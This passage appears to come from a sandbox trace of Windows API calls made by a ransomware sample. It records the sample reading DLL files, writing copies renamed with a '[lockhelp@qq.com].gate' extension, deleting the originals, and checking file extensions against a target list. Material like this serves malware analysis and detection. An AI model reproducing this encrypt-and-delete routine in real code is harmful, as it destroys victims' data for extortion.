lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.546] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.546] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0318.959] GetLastError () returned 0x0 [0318.959] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0319.030] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0319.031] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.031] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x112, lpOverlapped=0x0) returned 1 [0319.032] SetEndOfFile (hFile=0x360) returned 1 [0319.032] CloseHandle (hObject=0x360) returned 1 [0319.032] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.032] SetEndOfFile (hFile=0x348) returned 1 [0319.034] CloseHandle (hObject=0x348) returned 1 [0319.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.034] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0319.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.035] lstrlenW (lpString=".doc") returned 4 [0319.035] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.035] lstrlenW (lpString=".docx") returned 5 [0319.035] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.035] lstrlenW (lpString=".pdf") returned 4 [0319.035] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.035] lstrlenW (lpString=".xls") returned 4 [0319.035] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.035] lstrlenW (lpString=".xlsx") returned 5 [0319.036] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.036] lstrlenW (lpString=".ppt") returned 4 [0319.036] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.036] lstrlenW (lpString=".zip") returned 4 [0319.036] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.036] lstrlenW (lpString=".rar") returned 4 [0319.036] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.036] lstrlenW (lpString=".bz2") returned 4 [0319.036] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.036] lstrlenW (lpString=".7z") returned 3 [0319.036] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.036] lstrlenW (lpString=".dbf") returned 4 [0319.036] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.036] lstrlenW (lpString=".1cd") returned 4 [0319.036] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.036] lstrlenW (lpString=".jpg") returned 4 [0319.036] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.036] lstrlenW (lpString=".doc") returned 4 [0319.036] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.036] lstrlenW (lpString=".docx") returned 5 [0319.036] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.036] lstrlenW (lpString=".pdf") returned 4 [0319.036] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.036] lstrlenW (lpString=".xls") returned 4 [0319.036] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.036] lstrlenW (lpString=".xlsx") returned 5 [0319.037] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.037] lstrlenW (lpString=".ppt") returned 4 [0319.037] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.037] lstrlenW (lpString=".zip") returned 4 [0319.037] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.037] lstrlenW (lpString=".rar") returned 4 [0319.037] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.037] lstrlenW (lpString=".bz2") returned 4 [0319.037] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.037] lstrlenW (lpString=".7z") returned 3 [0319.037] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.037] lstrlenW (lpString=".dbf") returned 4 [0319.037] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.037] lstrlenW (lpString=".1cd") returned 4 [0319.037] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0319.037] lstrlenW (lpString=".jpg") returned 4 [0319.037] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.037] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.037] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0319.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.038] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=19136) returned 1 [0319.038] CloseHandle (hObject=0x348) returned 1 [0319.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0319.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.038] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.038] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.038] GetLastError () returned 0x0 [0319.038] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0319.153] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0319.155] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.155] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x114, lpOverlapped=0x0) returned 1 [0319.155] SetEndOfFile (hFile=0x360) returned 1 [0319.155] CloseHandle (hObject=0x360) returned 1 [0319.155] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.155] SetEndOfFile (hFile=0x348) returned 1 [0319.156] CloseHandle (hObject=0x348) returned 1 [0319.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.157] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0319.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.157] lstrlenW (lpString=".doc") returned 4 [0319.157] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.158] lstrlenW (lpString=".docx") returned 5 [0319.158] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.158] lstrlenW (lpString=".pdf") returned 4 [0319.158] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.158] lstrlenW (lpString=".xls") returned 4 [0319.158] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.158] lstrlenW (lpString=".xlsx") returned 5 [0319.158] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.158] lstrlenW (lpString=".ppt") returned 4 [0319.158] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.158] lstrlenW (lpString=".zip") returned 4 [0319.158] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.158] lstrlenW (lpString=".rar") returned 4 [0319.158] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.158] lstrlenW (lpString=".bz2") returned 4 [0319.158] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.158] lstrlenW (lpString=".7z") returned 3 [0319.158] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.158] lstrlenW (lpString=".dbf") returned 4 [0319.158] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.158] lstrlenW (lpString=".1cd") returned 4 [0319.158] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.158] lstrlenW (lpString=".jpg") returned 4 [0319.159] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.159] lstrlenW (lpString=".doc") returned 4 [0319.159] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.159] lstrlenW (lpString=".docx") returned 5 [0319.159] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.159] lstrlenW (lpString=".pdf") returned 4 [0319.159] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.159] lstrlenW (lpString=".xls") returned 4 [0319.159] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.159] lstrlenW (lpString=".xlsx") returned 5 [0319.159] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.159] lstrlenW (lpString=".ppt") returned 4 [0319.159] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.159] lstrlenW (lpString=".zip") returned 4 [0319.159] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.159] lstrlenW (lpString=".rar") returned 4 [0319.159] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.159] lstrlenW (lpString=".bz2") returned 4 [0319.159] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.159] lstrlenW (lpString=".7z") returned 3 [0319.159] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.160] lstrlenW (lpString=".dbf") returned 4 [0319.160] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.160] lstrlenW (lpString=".1cd") returned 4 [0319.160] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0319.160] lstrlenW (lpString=".jpg") returned 4 [0319.160] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.160] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.160] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0319.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.160] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=22720) returned 1 [0319.161] CloseHandle (hObject=0x348) returned 1 [0319.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0319.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.161] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.161] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.162] GetLastError () returned 0x0 [0319.162] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x58c0, lpOverlapped=0x0) returned 1 [0319.233] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x58d0, lpOverlapped=0x0) returned 1 [0319.234] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.234] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x116, lpOverlapped=0x0) returned 1 [0319.234] SetEndOfFile (hFile=0x360) returned 1 [0319.234] CloseHandle (hObject=0x360) returned 1 [0319.234] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.235] SetEndOfFile (hFile=0x348) returned 1 [0319.235] CloseHandle (hObject=0x348) returned 1 [0319.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.236] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0319.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.236] lstrlenW (lpString=".doc") returned 4 [0319.236] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.236] lstrlenW (lpString=".docx") returned 5 [0319.236] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.236] lstrlenW (lpString=".pdf") returned 4 [0319.236] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.236] lstrlenW (lpString=".xls") returned 4 [0319.236] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.236] lstrlenW (lpString=".xlsx") returned 5 [0319.236] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.236] lstrlenW (lpString=".ppt") returned 4 [0319.236] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.236] lstrlenW (lpString=".zip") returned 4 [0319.236] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.236] lstrlenW (lpString=".rar") returned 4 [0319.236] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.236] lstrlenW (lpString=".bz2") returned 4 [0319.236] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.236] lstrlenW (lpString=".7z") returned 3 [0319.236] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.236] lstrlenW (lpString=".dbf") returned 4 [0319.236] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.237] lstrlenW (lpString=".1cd") returned 4 [0319.237] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.237] lstrlenW (lpString=".jpg") returned 4 [0319.237] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.237] lstrlenW (lpString=".doc") returned 4 [0319.237] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.237] lstrlenW (lpString=".docx") returned 5 [0319.237] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.237] lstrlenW (lpString=".pdf") returned 4 [0319.237] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.237] lstrlenW (lpString=".xls") returned 4 [0319.237] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.237] lstrlenW (lpString=".xlsx") returned 5 [0319.237] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.237] lstrlenW (lpString=".ppt") returned 4 [0319.237] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.237] lstrlenW (lpString=".zip") returned 4 [0319.237] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.237] lstrlenW (lpString=".rar") returned 4 [0319.237] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.237] lstrlenW (lpString=".bz2") returned 4 [0319.237] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.237] lstrlenW (lpString=".7z") returned 3 [0319.237] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.237] lstrlenW (lpString=".dbf") returned 4 [0319.237] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.237] lstrlenW (lpString=".1cd") returned 4 [0319.238] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0319.238] lstrlenW (lpString=".jpg") returned 4 [0319.238] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.238] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.238] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0319.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.238] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=27840) returned 1 [0319.238] CloseHandle (hObject=0x348) returned 1 [0319.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0319.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft 